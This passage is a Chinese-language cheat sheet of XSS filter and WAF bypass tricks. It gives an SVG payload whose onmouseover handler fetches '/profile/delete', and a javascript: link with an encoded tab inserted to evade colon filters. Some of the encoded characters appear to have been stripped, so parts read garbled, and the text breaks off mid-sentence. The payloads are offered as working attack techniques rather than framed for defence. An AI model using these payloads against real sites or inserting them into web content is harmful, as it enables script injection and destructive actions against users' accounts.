HTML 过滤绕过
过滤 <script>
标签
可以尝试使用 <svg>
+ onload
<!-- Most WAFs miss SVG event handlers -->
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<circle cx="50" cy="50" r="40" fill="red" onmouseover="fetch('/profile/delete')"/>
</svg>
过滤器通常允许用于图形的 SVG,但有时会忘记验证事件处理器如 onmouseover
。
javascript:
被过滤
可以尝试使用 :
小技巧:
<!-- Bypass colon filters in href/src -->
<a href="java	script:alert(1)">Click Me (Works in Chrome)</a>
真实案例:某CMS系统允许链接中使用 	
(URL编码的制表符)和 :
(HTML实体表示:
冒号)。
onerror
被过滤
大多数 WAF 会阻止 onerror
/ onload
但会经常忽略...